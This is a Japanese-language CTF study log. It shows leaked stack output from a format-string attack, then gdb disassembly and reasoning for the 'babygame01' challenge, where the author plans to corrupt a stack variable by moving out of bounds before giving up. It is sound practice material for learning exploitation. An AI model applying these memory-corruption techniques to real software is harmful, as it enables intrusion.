Here's your order: 402118,0,9f8fea00,0,1fb6880,a347834,f6558bc0,9f6efe60,9f9144d0,1,f6558c90,0,0,6f636970,6d316e34,33317937,3431665f,63363933,7,9f9168d8,7,74307250,6c797453,9,9f927de9,9f6f8098,9f9144d0,0,f6558ca0,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,252c7825,2c78252c,78252c78,0,0,0,0,0,6e656c6c,616d726f,676e6972,0,0,0,0,0,0,0,0,0,0,0,0,0,
Bye!

これで流出できるのはできたと思う。けど、cyberchefでswap edianとfrom hexを用いてもうまくいかない

buffer overflow 2

babygame01

Get the flag and reach the exit. Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map.
flagをとって出口を目指す。ソースコードはないようだ。まずは実行してみる。
何やら出てきた。現在地が4 4でゴールが29 89 flagなしという感じだ。

disas main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08049764 <+0>:     lea    ecx,[esp+0x4]
   0x08049768 <+4>:     and    esp,0xfffffff0
   0x0804976b <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804976e <+10>:    push   ebp
   0x0804976f <+11>:    mov    ebp,esp
   0x08049771 <+13>:    push   ebx
   0x08049772 <+14>:    push   ecx
   0x08049773 <+15>:    sub    esp,0xaa0
   0x08049779 <+21>:    call   0x8049150 <__x86.get_pc_thunk.bx>
   0x0804977e <+26>:    add    ebx,0x2882
   0x08049784 <+32>:    mov    eax,gs:0x14
   0x0804978a <+38>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804978d <+41>:    xor    eax,eax
   0x0804978f <+43>:    lea    eax,[ebp-0xaa4]
   0x08049795 <+49>:    push   eax
   0x08049796 <+50>:    call   0x804953a <init_player>
   0x0804979b <+55>:    add    esp,0x4
   0x0804979e <+58>:    lea    eax,[ebp-0xaa4]
   0x080497a4 <+64>:    push   eax
   0x080497a5 <+65>:    lea    eax,[ebp-0xa98]
   0x080497ab <+71>:    push   eax
   0x080497ac <+72>:    call   0x80492c8 <init_map>
   0x080497b1 <+77>:    add    esp,0x8
   0x080497b4 <+80>:    sub    esp,0x8
   0x080497b7 <+83>:    lea    eax,[ebp-0xaa4]
   0x080497bd <+89>:    push   eax
   0x080497be <+90>:    lea    eax,[ebp-0xa98]
   0x080497c4 <+96>:    push   eax
   0x080497c5 <+97>:    call   0x804948a <print_map>
   0x080497ca <+102>:   add    esp,0x10
   0x080497cd <+105>:   sub    esp,0x8
   0x080497d0 <+108>:   lea    eax,[ebx-0x2dea]
   0x080497d6 <+114>:   push   eax
   0x080497d7 <+115>:   push   0x2
   0x080497d9 <+117>:   call   0x8049090 <signal@plt>
   0x080497de <+122>:   add    esp,0x10
   0x080497e1 <+125>:   call   0x8049070 <getchar@plt>
   0x080497e6 <+130>:   mov    BYTE PTR [ebp-0xaa5],al
   0x080497ec <+136>:   movsx  eax,BYTE PTR [ebp-0xaa5]
   0x080497f3 <+143>:   sub    esp,0x4
   0x080497f6 <+146>:   lea    edx,[ebp-0xa98]
   0x080497fc <+152>:   push   edx
   0x080497fd <+153>:   push   eax
   0x080497fe <+154>:   lea    eax,[ebp-0xaa4]
   0x08049804 <+160>:   push   eax
   0x08049805 <+161>:   call   0x8049564 <move_player>
   0x0804980a <+166>:   add    esp,0x10
   0x0804980d <+169>:   sub    esp,0x8
   0x08049810 <+172>:   lea    eax,[ebp-0xaa4]
   0x08049816 <+178>:   push   eax
   0x08049817 <+179>:   lea    eax,[ebp-0xa98]
   0x0804981d <+185>:   push   eax
   0x0804981e <+186>:   call   0x804948a <print_map>
   0x08049823 <+191>:   add    esp,0x10
   0x08049826 <+194>:   mov    eax,DWORD PTR [ebp-0xaa4]
   0x0804982c <+200>:   cmp    eax,0x1d
   0x0804982f <+203>:   jne    0x80497e1 <main+125>
   0x08049831 <+205>:   mov    eax,DWORD PTR [ebp-0xaa0]
   0x08049837 <+211>:   cmp    eax,0x59
   0x0804983a <+214>:   jne    0x80497e1 <main+125>
   0x0804983c <+216>:   sub    esp,0xc
   0x0804983f <+219>:   lea    eax,[ebx-0x1f78]
   0x08049845 <+225>:   push   eax
   0x08049846 <+226>:   call   0x80490c0 <puts@plt>
   0x0804984b <+231>:   add    esp,0x10
   0x0804984e <+234>:   movzx  eax,BYTE PTR [ebp-0xa9c]
   0x08049855 <+241>:   test   al,al
   0x08049857 <+243>:   je     0x8049884 <main+288>
   0x08049859 <+245>:   sub    esp,0xc
   0x0804985c <+248>:   lea    eax,[ebx-0x1f6f]
   0x08049862 <+254>:   push   eax
   0x08049863 <+255>:   call   0x80490c0 <puts@plt>
   0x08049868 <+260>:   add    esp,0x10
   0x0804986b <+263>:   call   0x8049233 <win>
   0x08049870 <+268>:   mov    eax,DWORD PTR [ebx-0x4]
   0x08049876 <+274>:   mov    eax,DWORD PTR [eax]
   0x08049878 <+276>:   sub    esp,0xc
   0x0804987b <+279>:   push   eax
   0x0804987c <+280>:   call   0x8049060 <fflush@plt>
   0x08049881 <+285>:   add    esp,0x10
   0x08049884 <+288>:   nop
   0x08049885 <+289>:   mov    eax,0x0
   0x0804988a <+294>:   mov    edx,DWORD PTR [ebp-0xc]
   0x0804988d <+297>:   sub    edx,DWORD PTR gs:0x14
   0x08049894 <+304>:   je     0x804989b <main+311>
   0x08049896 <+306>:   call   0x80498b0 <__stack_chk_fail_local>
   0x0804989b <+311>:   lea    esp,[ebp-0x8]
   0x0804989e <+314>:   pop    ecx
   0x0804989f <+315>:   pop    ebx
   0x080498a0 <+316>:   pop    ebp
   0x080498a1 <+317>:   lea    esp,[ecx-0x4]
   0x080498a4 <+320>:   ret
End of assembler dump.

デバッグしてみる。環境で実行できないようなので痛い。見てみるとmove_playerという関数そしてwin関数がある。それぞれ見ていく。
disas move_player

gdb-peda$ disas move_player
Dump of assembler code for function move_player:
   0x08049564 <+0>:     push   ebp
   0x08049565 <+1>:     mov    ebp,esp
   0x08049567 <+3>:     push   esi
   0x08049568 <+4>:     push   ebx
   0x08049569 <+5>:     sub    esp,0x10
   0x0804956c <+8>:     call   0x8049150 <__x86.get_pc_thunk.bx>
   0x08049571 <+13>:    add    ebx,0x2a8f
   0x08049577 <+19>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804957a <+22>:    mov    BYTE PTR [ebp-0xc],al
   0x0804957d <+25>:    cmp    BYTE PTR [ebp-0xc],0x6c
   0x08049581 <+29>:    jne    0x804958e <move_player+42>
   0x08049583 <+31>:    call   0x8049070 <getchar@plt>
   0x08049588 <+36>:    mov    BYTE PTR [ebx+0x44],al
   0x0804958e <+42>:    cmp    BYTE PTR [ebp-0xc],0x70
   0x08049592 <+46>:    jne    0x80495a5 <move_player+65>
   0x08049594 <+48>:    sub    esp,0x8
   0x08049597 <+51>:    push   DWORD PTR [ebp+0x8]
   0x0804959a <+54>:    push   DWORD PTR [ebp+0x10]
   0x0804959d <+57>:    call   0x8049677 <solve_round>
   0x080495a2 <+62>:    add    esp,0x10
   0x080495a5 <+65>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495a8 <+68>:    mov    edx,DWORD PTR [eax]
   0x080495aa <+70>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495ad <+73>:    mov    ecx,DWORD PTR [eax+0x4]
   0x080495b0 <+76>:    mov    esi,DWORD PTR [ebp+0x10]
   0x080495b3 <+79>:    imul   eax,edx,0x5a
   0x080495b6 <+82>:    add    eax,esi
   0x080495b8 <+84>:    add    eax,ecx
   0x080495ba <+86>:    mov    BYTE PTR [eax],0x2e
   0x080495bd <+89>:    cmp    BYTE PTR [ebp-0xc],0x77
   0x080495c1 <+93>:    jne    0x80495d2 <move_player+110>
   0x080495c3 <+95>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080495c6 <+98>:    mov    eax,DWORD PTR [eax]
   0x080495c8 <+100>:   lea    edx,[eax-0x1]
   0x080495cb <+103>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495ce <+106>:   mov    DWORD PTR [eax],edx
   0x080495d0 <+108>:   jmp    0x8049613 <move_player+175>
   0x080495d2 <+110>:   cmp    BYTE PTR [ebp-0xc],0x73
   0x080495d6 <+114>:   jne    0x80495e7 <move_player+131>
   0x080495d8 <+116>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495db <+119>:   mov    eax,DWORD PTR [eax]
   0x080495dd <+121>:   lea    edx,[eax+0x1]
   0x080495e0 <+124>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495e3 <+127>:   mov    DWORD PTR [eax],edx
   0x080495e5 <+129>:   jmp    0x8049613 <move_player+175>
   0x080495e7 <+131>:   cmp    BYTE PTR [ebp-0xc],0x61
   0x080495eb <+135>:   jne    0x80495fe <move_player+154>
   0x080495ed <+137>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495f0 <+140>:   mov    eax,DWORD PTR [eax+0x4]
   0x080495f3 <+143>:   lea    edx,[eax-0x1]
   0x080495f6 <+146>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080495f9 <+149>:   mov    DWORD PTR [eax+0x4],edx
   0x080495fc <+152>:   jmp    0x8049613 <move_player+175>
   0x080495fe <+154>:   cmp    BYTE PTR [ebp-0xc],0x64
   0x08049602 <+158>:   jne    0x8049613 <move_player+175>
   0x08049604 <+160>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049607 <+163>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804960a <+166>:   lea    edx,[eax+0x1]
   0x0804960d <+169>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049610 <+172>:   mov    DWORD PTR [eax+0x4],edx
   0x08049613 <+175>:   mov    eax,DWORD PTR [ebp+0x8]
   0x08049616 <+178>:   mov    ecx,DWORD PTR [eax]
   0x08049618 <+180>:   mov    eax,DWORD PTR [ebp+0x8]
   0x0804961b <+183>:   mov    esi,DWORD PTR [eax+0x4]
   0x0804961e <+186>:   movzx  edx,BYTE PTR [ebx+0x44]
   0x08049625 <+193>:   mov    ebx,DWORD PTR [ebp+0x10]
   0x08049628 <+196>:   imul   eax,ecx,0x5a
   0x0804962b <+199>:   add    eax,ebx
   0x0804962d <+201>:   add    eax,esi
   0x0804962f <+203>:   mov    BYTE PTR [eax],dl
   0x08049631 <+205>:   nop
   0x08049632 <+206>:   lea    esp,[ebp-0x8]
   0x08049635 <+209>:   pop    ebx
   0x08049636 <+210>:   pop    esi
   0x08049637 <+211>:   pop    ebp
   0x08049638 <+212>:   ret
End of assembler dump.

比較が行われている

   0x0804957d <+25>:    cmp    BYTE PTR [ebp-0xc],0x6c
   0x0804958e <+42>:    cmp    BYTE PTR [ebp-0xc],0x70
   0x080495bd <+89>:    cmp    BYTE PTR [ebp-0xc],0x77
   0x080495d2 <+110>:   cmp    BYTE PTR [ebp-0xc],0x73
   0x080495e7 <+131>:   cmp    BYTE PTR [ebp-0xc],0x61
   0x080495fe <+154>:   cmp    BYTE PTR [ebp-0xc],0x64

が気になる。0x6c=l、 0x70=p、0x77=w、 0x73=s、 0x61=a、 0x64=dが入力で何かあるようだ。 wを押すと

Player position: 3 4
End tile position: 29 89
Player has flag: 0

player posiの左の値が小さくなる。@が上に移動するので、wは上に進むのようだ。sは左の値が大きくなる。下に進む。aはplayer posiの右の値が変わる。右の値が小さくなり、左へ進む。dは右の値が大きくなり、右へ進む。lを押すと@と@の右の・が全部消える。よくわからない。pはYou win!と出てくるがflagはない。移動させるだけではダメみたいだ、ghidraを用いてみた方がよさそうだ。
pが問題を解いてくれるコマンドのようだ。

whileの抜け方はEnd tile positionとplayer posiが一致した時である。
そして、終わったときにif (local_aa4 != '\0') {が正ならflagがゲットできるようだ。
ここをアセンブラで確認するとtest al,alとなっている。cmpではないようだ。

知識(test al,al)
test al,al (TESTとCMP | さすらいのプログラマ)つまり、0か否かオペランドと比較するときに使われるようだ。

local_aa4についてコード見てみたが、あまりわかりそうにない。でも、スタック上にあるこれの値を書き換えるのがこの問題のようだ。いつものように文字列を入力して、、、wやdの入力でスタック領域を変えるということかな。 0x080497e6 <+130>: mov BYTE PTR [ebp-0xaa5],alこれはebpから0xaa5離れたところにalつまり、local_aa4があるということだろうか?

ここでお手上げ、(Babygame01 - picoCTF 2023 writeup)を見た